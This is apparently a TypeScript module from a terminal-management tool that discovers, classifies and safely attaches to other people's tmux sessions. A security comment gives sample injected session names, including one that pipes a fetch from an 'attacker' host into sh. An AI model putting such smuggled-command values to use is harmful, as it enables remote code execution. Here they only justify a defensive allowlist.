// ⚠️ The watchdog says it fired with its own exit status, 7: a tmux client ended by
|
||||
// SIGTERM exits 0 (measured), so the ping's status cannot tell. It prints the marker
|
||||
// BEFORE the kill and the loop reaps it, or the line could land after `CMFQ` and
|
||||
// parse as a process row. The `trap` ends the `sleep` with it, so a scan does not
|
||||
// leave one behind per socket. `\$Z` is for the trap to expand: it is set before Z
|
||||
// exists, so a socket that answers at once wins that race.
|
||||
const watchdog =
|
||||
`( trap "kill \\$Z 2>/dev/null; exit" TERM; sleep ${FOREIGN_SOCKET_TIMEOUT_SECONDS} >/dev/null 2>&1 & Z=$!; ` +
|
||||
`wait $Z && { echo "${HUNG_MARKER} $S"; kill $P; exit 7; } ) & W=$!`;
|
||||
const ping =
|
||||
`tmux -S "$S" has-session >/dev/null 2>&1 & P=$!; ${watchdog}; ` +
|
||||
'wait $P; R=$?; kill $W 2>/dev/null; wait $W 2>/dev/null; [ $? -ne 7 ] && [ $R -eq 0 ] || continue';
|
||||
return [
|
||||
'TD=${TMUX_TMPDIR:-/tmp}',
|
||||
'U=$(id -u 2>/dev/null || echo 0)',
|
||||
`for S in $TD/tmux-$U/*; do [ -S "$S" ] || continue; echo "${SOCKET_MARKER} $S"; ${ping}; ` +
|
||||
`tmux -u -S "$S" list-panes -a -F "${fmt}" 2>/dev/null; done`,
|
||||
`echo ${PROC_MARKER}`,
|
||||
'ps -eo pid=,ppid=,args= 2>/dev/null || ps ax -o pid=,ppid=,args= 2>/dev/null || true',
|
||||
].join('; ');
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Parsing
|
||||
// ===========================================================================
|
||||
|
||||
export interface ForeignProbeOutput {
|
||||
panes: ForeignPaneProbe[];
|
||||
/** parent pid to child pids, from the ONE `ps` snapshot (proc-tree input). */
|
||||
byParent: Map<number, number[]>;
|
||||
/** pid to full argv line. */
|
||||
argvByPid: Map<number, string>;
|
||||
/** Sockets seen, in scan order (may exceed the pane list when a socket is empty). */
|
||||
sockets: string[];
|
||||
/** Sockets whose server missed the per-socket bound, so their rows are absent. */
|
||||
hungSockets: string[];
|
||||
}
|
||||
|
||||
/** Parse one probe's stdout. Never throws: a malformed row is skipped, not fatal. */
|
||||
export function parseForeignProbeOutput(stdout: string): ForeignProbeOutput {
|
||||
const panes: ForeignPaneProbe[] = [];
|
||||
const sockets: string[] = [];
|
||||
const hungSockets: string[] = [];
|
||||
const byParent = new Map<number, number[]>();
|
||||
const argvByPid = new Map<number, string>();
|
||||
if (!stdout) return { panes, byParent, argvByPid, sockets, hungSockets };
|
||||
|
||||
let inProcs = false;
|
||||
let procCount = 0;
|
||||
|
||||
for (const raw of stdout.split('\n')) {
|
||||
const line = raw.replace(/\r$/, '');
|
||||
if (!line) continue;
|
||||
|
||||
if (!inProcs && line === PROC_MARKER) {
|
||||
inProcs = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (inProcs) {
|
||||
if (procCount >= FOREIGN_MAX_PROCS) continue;
|
||||
// `<pid> <ppid> <argv...>` — leading spaces are how `ps -o pid=` pads.
|
||||
const m = /^\s*(\d+)\s+(\d+)\s+(.*)$/.exec(line);
|
||||
if (!m) continue;
|
||||
const pid = Number(m[1]);
|
||||
const ppid = Number(m[2]);
|
||||
if (!Number.isSafeInteger(pid) || !Number.isSafeInteger(ppid)) continue;
|
||||
procCount += 1;
|
||||
argvByPid.set(pid, m[3] ?? '');
|
||||
const siblings = byParent.get(ppid);
|
||||
if (siblings) siblings.push(pid);
|
||||
else byParent.set(ppid, [pid]);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (line.startsWith(`${SOCKET_MARKER} `)) {
|
||||
const sock = line.slice(SOCKET_MARKER.length + 1);
|
||||
if (sock && !sockets.includes(sock)) sockets.push(sock);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (line.startsWith(`${HUNG_MARKER} `)) {
|
||||
hungSockets.push(line.slice(HUNG_MARKER.length + 1));
|
||||
continue;
|
||||
}
|
||||
|
||||
const fields = line.split(SEP_SPLIT);
|
||||
if (fields[0] !== PANE_MARKER) continue;
|
||||
if (panes.length >= FOREIGN_MAX_PANES) continue;
|
||||
// 11 fields: marker + 8 fixed + name + path. A separator inside the NAME
|
||||
// pushes extras into the middle, so the path is taken from the END and the
|
||||
// name is whatever sits between the fixed prefix and it.
|
||||
if (fields.length < 11) continue;
|
||||
|
||||
const panePid = Number(fields[2]);
|
||||
const windowIndex = Number(fields[3]);
|
||||
const windows = Number(fields[4]);
|
||||
const created = Number(fields[5]);
|
||||
if (!Number.isSafeInteger(panePid) || panePid <= 0) continue;
|
||||
|
||||
const paneCurrentPath = fields[fields.length - 1] ?? '';
|
||||
const sessionName = fields.slice(9, fields.length - 1).join(REJOIN);
|
||||
if (!sessionName) continue;
|
||||
|
||||
panes.push({
|
||||
socketPath: fields[1] ?? '',
|
||||
sessionName,
|
||||
windowIndex: Number.isSafeInteger(windowIndex) ? windowIndex : 0,
|
||||
paneId: fields[7] ?? '',
|
||||
panePid,
|
||||
paneCurrentCommand: fields[8] ?? '',
|
||||
paneCurrentPath,
|
||||
sessionAttached: fields[6] === '1',
|
||||
sessionCreated: Number.isSafeInteger(created) && created > 0 ? created : 0,
|
||||
windows: Number.isSafeInteger(windows) && windows > 0 ? windows : 1,
|
||||
});
|
||||
}
|
||||
|
||||
return { panes, byParent, argvByPid, sockets, hungSockets };
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Classification
|
||||
// ===========================================================================
|
||||
|
||||
/**
|
||||
* argv signatures, derived from the registry rather than written here.
|
||||
*
|
||||
* Matched against the WHOLE argv of a pane descendant, so `node .../bin/claude`
|
||||
* hits the claude rule via the path. The binary names come from each entry's
|
||||
* `discovery.binaries` — the one place that already knows a mode name is NOT
|
||||
* always a binary name (`antigravity` runs `agy`). The hand-written table this
|
||||
* replaces keyed on CLI ids, which CLAUDE.md forbids outside `stock.ts`, and it
|
||||
* had already fallen behind: `omp` was missing, so a hand-started omp pane read
|
||||
* as a plain shell.
|
||||
*
|
||||
* Resolved at CALL time, never into a module-level const: a CLI enabled (or a
|
||||
* custom entry added) at runtime must be recognised without a restart.
|
||||
*
|
||||
* ⚠️ Longest name first. `pi` is two characters and its "command itself" form
|
||||
* would otherwise be tried before `opencode`'s; length order is what keeps a
|
||||
* short generic name from claiming a pane that belongs to a longer one.
|
||||
*
|
||||
* ⚠️ Names are regex-ESCAPED. They reach here from `~/.codeman/clis.json`, and
|
||||
* while the schema's SHELL_TOKEN already refuses the dangerous shapes, building
|
||||
* a pattern out of an unescaped foreign string is how a config value turns into
|
||||
* a regex. Escaping means the worst a bad name can do is match nothing.
|
||||
*/
|
||||
export function foreignCliSignatures(): ReadonlyArray<{ mode: SessionMode; test: RegExp }> {
|
||||
const seen = new Set<string>();
|
||||
const out: { mode: SessionMode; test: RegExp }[] = [];
|
||||
// `listClis()`, not `enabledClis()`: classification is a description of what is
|
||||
// ALREADY running in someone else's pane, not a decision to launch anything.
|
||||
// A disabled CLI still deserves its real name on the row.
|
||||
const named: { mode: SessionMode; name: string }[] = [];
|
||||
for (const entry of listClis()) {
|
||||
// ⚠️ Stock entries only, and this is a `stock` check rather than an id check
|
||||
// on purpose: `SessionMode` is the CLOSED union of the stock ids, so a custom
|
||||
// entry has no SessionMode to be. Letting one through would put a value the
|
||||
// union does not contain on `SessionState.mode`. A custom CLI's pane falls to
|
||||
// the `shell` answer below, which is the honest one — Codeman has no name for
|
||||
// it, and an adopted wrapper runs `attach` either way.
|
||||
if (!entry.stock) continue;
|
||||
for (const binary of entry.discovery.binaries) {
|
||||
// `shell` declares none, which is right: it is the FALLBACK answer, never a
|
||||
// signature match.
|
||||
if (!binary || seen.has(binary)) continue;
|
||||
seen.add(binary);
|
||||
named.push({ mode: entry.id as SessionMode, name: binary });
|
||||
}
|
||||
}
|
||||
named.sort((a, b) => b.name.length - a.name.length);
|
||||
for (const { mode, name } of named) {
|
||||
const n = escapeRegExp(name);
|
||||
out.push({
|
||||
mode,
|
||||
test: new RegExp(
|
||||
// the command itself · a `bin/` path · a node launcher under the CLI's
|
||||
// own dot-directory (`~/.claude/local/.../cli.js`)
|
||||
`(^|[/\\\\])${n}(\\s|$)|[/\\\\]bin[/\\\\]${n}\\b|[/\\\\]\\.?${n}[/\\\\][^\\s]*cli\\.js`
|
||||
),
|
||||
});
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function escapeRegExp(value: string): string {
|
||||
return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
||||
}
|
||||
|
||||
/** Commands that mean "this is a plain shell", not an unidentified agent. */
|
||||
const SHELL_COMMANDS = new Set([
|
||||
'bash',
|
||||
'sh',
|
||||
'zsh',
|
||||
'fish',
|
||||
'dash',
|
||||
'ksh',
|
||||
'tcsh',
|
||||
'csh',
|
||||
'ash',
|
||||
'busybox',
|
||||
'login',
|
||||
'-bash',
|
||||
'-zsh',
|
||||
'-sh',
|
||||
]);
|
||||
|
||||
export interface ClassifiedPane {
|
||||
mode: SessionMode;
|
||||
/** The argv line the decision came from, truncated for display. */
|
||||
command: string;
|
||||
}
|
||||
|
||||
const COMMAND_DISPLAY_MAX = 160;
|
||||
|
||||
/**
|
||||
* Decide what a pane is running.
|
||||
*
|
||||
* Order matters: the pane's own command is checked against the CLI signatures
|
||||
* first (a pane running `claude` directly is unambiguous and needs no walk), then
|
||||
* the bounded descendant walk, and only then the shell fallback. The walk is what
|
||||
* separates claude from codex, since tmux reports `node` for both.
|
||||
*/
|
||||
export function classifyForeignPaneMode(
|
||||
pane: Pick<ForeignPaneProbe, 'panePid' | 'paneCurrentCommand'>,
|
||||
probe: Pick<ForeignProbeOutput, 'byParent' | 'argvByPid'>
|
||||
): ClassifiedPane {
|
||||
const own = probe.argvByPid.get(pane.panePid) ?? pane.paneCurrentCommand;
|
||||
|
||||
const direct = matchSignature(own);
|
||||
if (direct) return { mode: direct, command: truncate(own) };
|
||||
|
||||
// ⚠️ Report truncation. A walk that stopped at a cap returns "nothing matched",
|
||||
// which is byte-identical to the answer for a real shell — without this line a
|
||||
// deep or wide tree silently downgrades an agent pane to `shell` and there is
|
||||
// nothing anywhere to tell the two apart.
|
||||
const descendants = collectDescendants(pane.panePid, probe.byParent, {
|
||||
onTruncated: (root, cap, reason) =>
|
||||
console.warn(`[foreign-tmux] descendant walk for ${root} hit the ${cap}-${reason} cap; truncating`),
|
||||
});
|
||||
for (const pid of descendants) {
|
||||
const argv = probe.argvByPid.get(pid);
|
||||
if (!argv) continue;
|
||||
const hit = matchSignature(argv);
|
||||
if (hit) return { mode: hit, command: truncate(argv) };
|
||||
}
|
||||
|
||||
// tmux's own answer is the last signal worth trying: `#{pane_current_command}`
|
||||
// is the pane's FOREGROUND process, whereas `pane_pid` is the shell hosting it,
|
||||
// so this catches an agent whose process tree was unreadable (no `ps` on the
|
||||
// host) or deeper than the walk's cap.
|
||||
const fromTmux = matchSignature(pane.paneCurrentCommand);
|
||||
if (fromTmux) return { mode: fromTmux, command: truncate(pane.paneCurrentCommand) };
|
||||
|
||||
// Nothing recognised. `shell` is the honest answer AND the primary case this
|
||||
// feature exists for; the raw command travels alongside so the UI can show what
|
||||
// is actually running rather than asserting a mode it did not verify.
|
||||
return { mode: 'shell', command: truncate(own || pane.paneCurrentCommand) };
|
||||
}
|
||||
|
||||
function matchSignature(argv: string): SessionMode | null {
|
||||
if (!argv) return null;
|
||||
const base = basenameOf(argv);
|
||||
if (SHELL_COMMANDS.has(base)) return null;
|
||||
for (const sig of foreignCliSignatures()) {
|
||||
if (sig.test.test(argv)) return sig.mode;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function basenameOf(argv: string): string {
|
||||
const first = argv.trim().split(/\s+/)[0] ?? '';
|
||||
const slash = first.lastIndexOf('/');
|
||||
return slash >= 0 ? first.slice(slash + 1) : first;
|
||||
}
|
||||
|
||||
function truncate(s: string): string {
|
||||
const flat = s.replace(/\s+/g, ' ').trim();
|
||||
return flat.length > COMMAND_DISPLAY_MAX ? `${flat.slice(0, COMMAND_DISPLAY_MAX - 1)}...` : flat;
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Exclusion — never adopt what Codeman already owns
|
||||
// ===========================================================================
|
||||
|
||||
/** tmux servers Codeman runs itself. Sessions on these are never "foreign". */
|
||||
const CODEMAN_SOCKET_BASENAMES = new Set(['codeman', 'codeman-remote', 'codeman-docker']);
|
||||
|
||||
/** Session names Codeman mints. */
|
||||
const CODEMAN_SESSION_PREFIXES = ['codeman-', 'claudeman-'];
|
||||
|
||||
/**
|
||||
* Is this pane one of Codeman's own, at any location?
|
||||
*
|
||||
* Excluding them is not cosmetic. Locally it stops Codeman from adopting its own
|
||||
* sessions (which would attach a second PTY to a live pane). On a remote host or
|
||||
* inside a container it stops the SAME session from being reachable through two
|
||||
* different code paths — `remote-hosts.listRemoteCodemanSessions` already owns
|
||||
* the `tmux -L codeman` case there, and two paths to one session is how the two
|
||||
* end up disagreeing about ownership.
|
||||
*
|
||||
* @param ownSocket this instance's own socket name (`resolveTmuxSocketName()`),
|
||||
* which is instance-scoped and therefore not a constant.
|
||||
*/
|
||||
export function isCodemanOwnedPane(
|
||||
pane: Pick<ForeignPaneProbe, 'socketPath' | 'sessionName'>,
|
||||
ownSocket: string
|
||||
): boolean {
|
||||
const socketName = basenameOf(pane.socketPath);
|
||||
if (socketName === ownSocket) return true;
|
||||
if (CODEMAN_SOCKET_BASENAMES.has(socketName)) return true;
|
||||
// A `codeman-<instance>` socket belongs to another Codeman instance even when
|
||||
// THIS instance runs on a different one.
|
||||
if (socketName.startsWith('codeman-')) return true;
|
||||
return CODEMAN_SESSION_PREFIXES.some((p) => pane.sessionName.startsWith(p));
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Adoptability — what may cross the launch chain at all
|
||||
// ===========================================================================
|
||||
|
||||
/**
|
||||
* Characters a foreign session name or socket path may contain to be adoptable.
|
||||
*
|
||||
* ⚠️ This is a SECURITY GATE, not tidiness, and it is an ALLOWLIST because the
|
||||
* blocklist version of it is one forgotten character away from a shell.
|
||||
*
|
||||
* A foreign session name is chosen by SOMEONE ELSE, and it would cross several
|
||||
* shells on the way to tmux: the local `sh` and `bash -c` at `respawn-pane`, then
|
||||
* `sh -lc` in a container, or the login shell and `sh -c` over ssh. The launch reaches
|
||||
* `bash -c` single-quoted now (`bashCArg()`), which closes the first of those, and the
|
||||
* gate stays as defense in depth for the rest. It was written against the double-quoted
|
||||
* form, `execSync(`… bash -c ${JSON.stringify(launchCmd)}`)`, and that is the shape of
|
||||
* the mistake it stops. `JSON.stringify` escapes `"` and `\` (it does NOT escape `$` or
|
||||
* a backtick) and the outer shell parses that string with those still live inside its
|
||||
* double quotes. The inner single quotes this module adds do not help: the outer shell
|
||||
* substitutes first. Measured directly:
|
||||
*
|
||||
* launchCmd = `: 'x$(touch /tmp/PWNED2)`touch /tmp/PWNED3`'`
|
||||
* execSync(`bash -c ${JSON.stringify(launchCmd)}`) -> BOTH files created
|
||||
*
|
||||
* So a session called `work;$(curl attacker|sh)` sitting on the default socket
|
||||
* would run as the Codeman server account the moment someone clicked Open. The
|
||||
* name never reaches a command at all now: a candidate that fails this test is
|
||||
* dropped during discovery, so it has no id, and the adopt endpoint re-resolves
|
||||
* through that same discovery and can only 404.
|
||||
*
|
||||
* Generous on purpose about what real names contain — Unicode letters, digits,
|
||||
* marks, spaces, and the punctuation people actually use — because a refusal
|
||||
* here is a session the user cannot open at all.
|
||||
*/
|
||||
const ADOPTABLE_TEXT = /^[\p{L}\p{N}\p{M} _.+=@#%,~^!/-]+$/u;
|
||||
|
||||
/**
|
||||
* Names `new-session -t` reads as target syntax instead of as a name.
|
||||
*
|
||||
* ⚠️ The guard's `has-session -t '=<name>'` looks up by name, the join does not, so
|
||||
* these pass the guard and then join something else. Measured on tmux 3.4: `@1` and
|
||||
* `%1` joined the session holding that window or pane, and input typed in the tab
|
||||
* reached it; `=eq`, `@zz`, `%zz`, `~` and a bare `=` made a new group with a fresh
|
||||
* shell on the foreign server. `~foo` and `! + - ^` joined their own windows, so a
|
||||
* plain first-character rule would refuse them for nothing.
|
||||
*/
|
||||
const TMUX_TARGET_SYNTAX = /^[=@%]|^~$/;
|
||||
|
||||
/** Same rule, plus the path separator and no `..` climbing. */
|
||||
export function isAdoptableSocketPath(socketPath: string): boolean {
|
||||
if (!socketPath || socketPath.length > 4096) return false;
|
||||
if (!socketPath.startsWith('/')) return false;
|
||||
if (socketPath.includes('..')) return false;
|
||||
return ADOPTABLE_TEXT.test(socketPath);
|
||||
}
|
||||
|
||||
/** True when this session name can cross the launch chain safely. */
|
||||
export function isAdoptableSessionName(sessionName: string): boolean {
|
||||
if (!sessionName || sessionName.length > 256) return false;
|
||||
if (TMUX_TARGET_SYNTAX.test(sessionName)) return false;
|
||||
return ADOPTABLE_TEXT.test(sessionName);
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Identity
|
||||
// ===========================================================================
|
||||
|
||||
/**
|
||||
* Stable, opaque id for a candidate. The browser sends this back to adopt, so it
|
||||
* must survive a re-scan (same session gets the same id) without the browser ever
|
||||
* handing us a socket path or session name to interpolate into a command.
|
||||
*/
|
||||
export function foreignSessionId(
|
||||
location: ForeignTmuxLocationKind,
|
||||
hostKey: string,
|
||||
socketPath: string,
|
||||
sessionName: string
|
||||
): string {
|
||||
return `f${fnv1a(`${location} ${hostKey} ${socketPath} ${sessionName}`)}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* What names one foreign tmux session across every location Codeman can reach.
|
||||
* A socket path and a session name are not enough on their own: a socket path is
|
||||
* only meaningful INSIDE its location. Containers commonly run tmux as root
|
||||
* (`/tmp/tmux-0/default`) with default names `0`, `1`, so session `0` in two
|
||||
* containers is the same pair, and so is the same name on this machine and on an
|
||||
* ssh host with the same uid.
|
||||
*
|
||||
* A `ForeignTmuxSession` candidate is one of these as it stands. A wrapper's
|
||||
* `SessionAdopt` is turned into one by `adoptTargetIdentity()`.
|
||||
*/
|
||||
export interface ForeignTargetIdentity {
|
||||
location: ForeignTmuxLocationKind;
|
||||
/** Registry id of the docker or remote host. Absent for local. */
|
||||
hostId?: string;
|
||||
/** The container (`location === 'docker'`), which is only unique per engine, hence beside `hostId`. */
|
||||
containerName?: string;
|
||||
socketPath: string;
|
||||
sessionName: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* The ONE key that decides "is this foreign session already wrapped?". The adopt
|
||||
* route's one-wrapper-per-target check and the listing's `adoptedBy` both read it;
|
||||
* two keys are how a row ends up offering a tab that belongs to another location.
|
||||
*
|
||||
* Unlike `foreignSessionId` this is not opaque, and it stays on the server: the
|
||||
* opaque id encodes a discovery detail a restored wrapper does not carry, while
|
||||
* everything here is on `SessionAdopt` too.
|
||||
*/
|
||||
export function foreignTargetKey(target: ForeignTargetIdentity): string {
|
||||
// \u0000 as an ESCAPE: see the note in candidatesFrom() about NUL bytes in source.
|
||||
return [target.location, target.hostId ?? '', target.containerName ?? '', target.socketPath, target.sessionName].join(
|
||||
'\u0000'
|
||||
);
|
||||
}
|
||||
|
||||
/** A wrapper's adoption record, as the identity of the foreign session it wraps. */
|
||||
export function adoptTargetIdentity(adopt: SessionAdopt): ForeignTargetIdentity {
|
||||
return {
|
||||
location: adopt.location,
|
||||
hostId: adopt.docker?.hostId ?? adopt.remote?.hostId,
|
||||
containerName: adopt.docker?.containerName,
|
||||
socketPath: adopt.socketPath,
|
||||
sessionName: adopt.targetSession,
|
||||
};
|
||||
}
|
||||
|
||||
function fnv1a(input: string): string {
|
||||
let h = 0x811c9dc5;
|
||||
for (let i = 0; i < input.length; i += 1) {
|
||||
h ^= input.charCodeAt(i);
|
||||
h = Math.imul(h, 0x01000193) >>> 0;
|
||||
}
|
||||
return h.toString(16).padStart(8, '0');
|
||||
}
|
||||
|
||||
/**
|
||||
* Our grouped view session's name on the FOREIGN server. Deliberately prefixed
|
||||
* `codeman-view-` so a human looking at their own `tmux ls` can see what joined
|
||||
* them, and so a second Codeman's discovery excludes it (the `codeman-` prefix
|
||||
* rule above).
|
||||
*/
|
||||
export function foreignViewSessionName(sessionId: string): string {
|
||||
return `codeman-view-${sessionId.slice(0, 8)}`;
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Attach command builders
|
||||
// ===========================================================================
|
||||
|
||||
/** Single-quote for POSIX sh. Local copy so this module stays dependency-free. */
|
||||
export function fshq(str: string): string {
|
||||
return `'${String(str).replace(/'/g, `'\\''`)}'`;
|
||||
}
|
||||
|
||||
export interface ForeignAttachTarget {
|
||||
socketPath: string;
|
||||
targetSession: string;
|
||||
viewSession: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* The tmux invocation that joins a foreign session, as ONE line of POSIX sh.
|
||||
*
|
||||
* Shape and why:
|
||||
* command -v tmux || { echo no tmux; exit 127; } ;
|
||||
* tmux -S <sock> has-session -t '=<target>' || { echo gone; exit 1; } ;
|
||||
* tmux -S <sock> kill-session -t '=<view>' 2>/dev/null ;
|
||||
* exec tmux -u -S <sock> new-session -t <target> -s <view> ; set destroy-unattached on ; set status off
|
||||
*
|
||||
* - ⚠️ `command -v` first because the guard below fires on ANY failure, and "tmux is
|
||||
* not on this PATH" (exit 127, hidden by the `2>/dev/null`) must not be told to the
|
||||
* user as "your session is gone" while it is running.
|
||||
* - `-u` on the client: in a POSIX locale it otherwise writes the tab as if the
|
||||
* terminal were ASCII (measured: `_ hello qqq ____` for `❯ hello ─── 你好`). Only
|
||||
* the join needs it, since the guard prints nothing and tmux compares a target
|
||||
* name as bytes in any locale.
|
||||
* - ⚠️ The `has-session` guard comes FIRST because `new-session -t` does not fail
|
||||
* on a missing target, it invents one. Measured on tmux 3.4: with `work` gone it
|
||||
* joined `work-prod`, with nothing matching it created a fresh shell, and on a
|
||||
* socket with no server it STARTED one. This line re-runs every time the wrapper
|
||||
* pane is respawned, and boot recovery does that for every dead pane, so once the
|
||||
* owner exits their session the next Codeman restart would leave a new shell on
|
||||
* their machine, in their container or on their ssh host. `=` is what makes the
|
||||
* check exact (no prefix match), and `2>/dev/null` keeps tmux's own "no server"
|
||||
* noise out of the pane: the message we print says it better. The check only holds
|
||||
* for a name `new-session -t` also reads as a name, which is what
|
||||
* `isAdoptableSessionName` keeps true (see `TMUX_TARGET_SYNTAX`).
|
||||
* - ⚠️ The `=` prefix cannot stand in for that check on `new-session -t`: with the
|
||||
* target gone tmux takes it as part of the name and creates a group literally
|
||||
* called `=work`. It has to be a separate `has-session`.
|
||||
* - `new-session -t` creates a session in the target's GROUP: same windows, our
|
||||
* own session options and current window (NOT our own size — see @fileoverview
|
||||
* for the measurement that disproved that).
|
||||
* - `status off` is why grouping earns its keep: it lands on OUR session, so the
|
||||
* owner's status bar is untouched.
|
||||
* - No `-d`: the session must be attached before `destroy-unattached` lands on it.
|
||||
* - The escaped semicolons reach tmux as plain command separators after one shell
|
||||
* parse — the same convention the docker launch chain uses.
|
||||
* - ⚠️ There is NO degraded fallback, on purpose. A read-only `attach-session -r`
|
||||
* used to hang off `||` "for a tmux too old to group", but `||` fires on ANY
|
||||
* `new-session` failure. The one that actually happens is a leftover view with
|
||||
* the same name (the in-container leak described above): measured, `new-session`
|
||||
* answers `duplicate session: codeman-view-…` and the fallback then handed the
|
||||
* user a read-only client showing the owner's status bar, where everything typed
|
||||
* is dropped while the API reports success. That is the worst shape a failure can
|
||||
* take here. So: clear OUR OWN stale view first, then either group successfully
|
||||
* or exit with a message.
|
||||
* - The `kill-session` is safe by construction and cannot touch the human's work:
|
||||
* the name is `codeman-view-<our own session id>`, `=` makes the match exact, and
|
||||
* killing a session in a group removes only that session (measured: the owner's
|
||||
* `work` survived its grouped view being killed). `2>/dev/null` because "no such
|
||||
* session" is the normal case, not an error.
|
||||
* - ⚠️ Nothing here touches the prefix table, unlike the nested servers Codeman runs
|
||||
* itself (`nestedPrefixTableResetCommands`). Our own socket already has its table
|
||||
* reduced by `createSession`, but key tables are SERVER-WIDE, so reducing the foreign
|
||||
* one would rewrite the owner's keys for every session on their server, and it would
|
||||
* outlive our detach. Same reason `window-size` is left alone above. The owner's
|
||||
* bindings stay reachable from a tab, behind our own `send-prefix`, as theirs to use.
|
||||
* - ⚠️ While the view exists the window has two sessions holding it, so an owner's
|
||||
* `kill-session` on their own session leaves the window alive under the view
|
||||
* (measured on tmux 3.4: `tmux ls` then shows only `codeman-view-…`, the shell keeps
|
||||
* running) until the tab closes and `destroy-unattached` lets go of it. Exiting the
|
||||
* shell inside the pane ends it at once, view and all. Nothing here can tell the two
|
||||
* apart without a hook on the owner's server, which is not ours to install.
|
||||
* - Single line: nothing here needs a second one. A real newline would survive
|
||||
* `bash -c` now (`bashCArg()`), though not the JSON escaping this line crossed before.
|
||||
*/
|
||||
export function buildForeignTmuxInvocation(target: ForeignAttachTarget): string {
|
||||
const sock = fshq(target.socketPath);
|
||||
const t = fshq(target.targetSession);
|
||||
// `=name` is tmux's exact-match form. Only for the two commands that LOOK UP a
|
||||
// session; never for `new-session -t`, which would name the group `=name`.
|
||||
const exact = fshq(`=${target.targetSession}`);
|
||||
const v = fshq(target.viewSession);
|
||||
const gone = fshq(
|
||||
`Codeman: session ${target.targetSession} is gone. Codeman never creates a session it does not own.`
|
||||
);
|
||||
const noTmux = fshq('Codeman: tmux was not found here, so the session could not be opened. It may still be running.');
|
||||
const tmuxCheck = `command -v tmux >/dev/null 2>&1 || { echo ${noTmux}; exit 127; }`;
|
||||
const guard = `tmux -S ${sock} has-session -t ${exact} 2>/dev/null || { echo ${gone}; exit 1; }`;
|
||||
// Our own leftover view from a previous adoption of the same Codeman session.
|
||||
const dropStaleView = `tmux -S ${sock} kill-session -t ${fshq(`=${target.viewSession}`)} 2>/dev/null || true`;
|
||||
const group =
|
||||
`exec tmux -u -S ${sock} new-session -t ${t} -s ${v} \\; ` +
|
||||
`set-option -t ${v} destroy-unattached on \\; ` +
|
||||
`set-option -t ${v} status off`;
|
||||
return `${tmuxCheck} ; ${guard} ; ${dropStaleView} ; ${group}`;
|
||||
}
|
||||
|
||||
/** Local adoption: run the invocation directly in the wrapper pane. */
|
||||
export function buildForeignAttachCommand(target: ForeignAttachTarget): string {
|
||||
return buildForeignTmuxInvocation(target);
|
||||
}
|
||||
|
||||
export interface ForeignDockerAttachOptions extends ForeignAttachTarget {
|
||||
/** `buildDockerBaseArgs(...)` joined — e.g. `docker` or `docker --context foo`. */
|
||||
dockerBase: string;
|
||||
containerName: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Docker adoption: `docker exec -it` into the container and attach there.
|
||||
*
|
||||
* Mirrors the ADOPTED-container branch of `buildDockerLaunchCommand`: look, then
|
||||
* exec. Never `create`, never `start` — the container belongs to the user, and a
|
||||
* missing or stopped one fails closed with a message instead of being mutated.
|
||||
*/
|
||||
export function buildForeignDockerAttachCommand(opts: ForeignDockerAttachOptions): string {
|
||||
const name = fshq(opts.containerName);
|
||||
const notFound = fshq(
|
||||
`Codeman: container ${opts.containerName} not found. Codeman never creates a container it does not own.`
|
||||
);
|
||||
const notRunning = fshq(
|
||||
`Codeman: container ${opts.containerName} is not running. Codeman never starts a container it does not own.`
|
||||
);
|
||||
const inspect = `${opts.dockerBase} inspect ${name} >/dev/null 2>&1 || { echo ${notFound}; exit 1; }`;
|
||||
const running =
|
||||
`${opts.dockerBase} inspect -f ${fshq('{{.State.Running}}')} ${name} 2>/dev/null | grep -qx true ` +
|
||||
`|| { echo ${notRunning}; exit 1; }`;
|
||||
// The same terminal `resolveDockerLaunchOptions` gives an owned container's exec:
|
||||
// `docker exec -it` defaults to TERM=xterm, which holds the tab to 8 colours.
|
||||
const terminal = '-e TERM=xterm-256color -e COLORTERM=truecolor';
|
||||
const exec = `exec ${opts.dockerBase} exec -it ${terminal} ${name} sh -lc ${fshq(buildForeignTmuxInvocation(opts))}`;
|
||||
return [inspect, running, exec].join(' ; ');
|
||||
}
|
||||
|
||||
/**
|
||||
* Tear down OUR grouped view session inside a container.
|
||||
*
|
||||
* ⚠️ Needed for docker and NOT for the other two, which is a docker fact rather
|
||||
* than a design choice. Killing the wrapper pane kills a LOCAL tmux client
|
||||
* directly, and over ssh it sends SIGHUP to the remote client (the same
|
||||
* propagation the non-owned remote attach has relied on since COD-105) — either
|
||||
* way the client detaches and `destroy-unattached on` collects the view.
|
||||
* A `docker exec` process does NOT die when its client goes away: measured, the
|
||||
* in-container tmux client stayed attached after the wrapper was killed, so the
|
||||
* view session survived forever and every adoption leaked one of them plus its
|
||||
* exec process.
|
||||
*
|
||||
* Killing a session by name affects ONLY that session, never the group's other
|
||||
* members — so this can only ever remove the view Codeman created, never the
|
||||
* human's session it is grouped with. Sibling of `buildDockerKillCommand`, and
|
||||
* fired best-effort on the same path.
|
||||
*/
|
||||
export function buildForeignDockerViewKillCommand(opts: {
|
||||
dockerBase: string;
|
||||
containerName: string;
|
||||
socketPath: string;
|
||||
viewSession: string;
|
||||
}): string {
|
||||
return (
|
||||
`${opts.dockerBase} exec ${fshq(opts.containerName)} ` +
|
||||
`tmux -S ${fshq(opts.socketPath)} kill-session -t ${fshq(`=${opts.viewSession}`)}`
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* A POSIX script as the command line of an ssh connection.
|
||||
*
|
||||
* ssh hands its command to the remote user's LOGIN shell, which may be fish: the
|
||||
* guard chain's `{ ...; }` and the probe's `${VAR:-x}` are POSIX, so they run in an
|
||||
* explicit `sh`. The PATH line stays outside it because it is the part written for
|
||||
* whatever that shell is (`withRemoteTmuxPath`), and sshd's non-interactive PATH can
|
||||
* miss a Homebrew or per-user tmux, the same reason every other remote tmux call has
|
||||
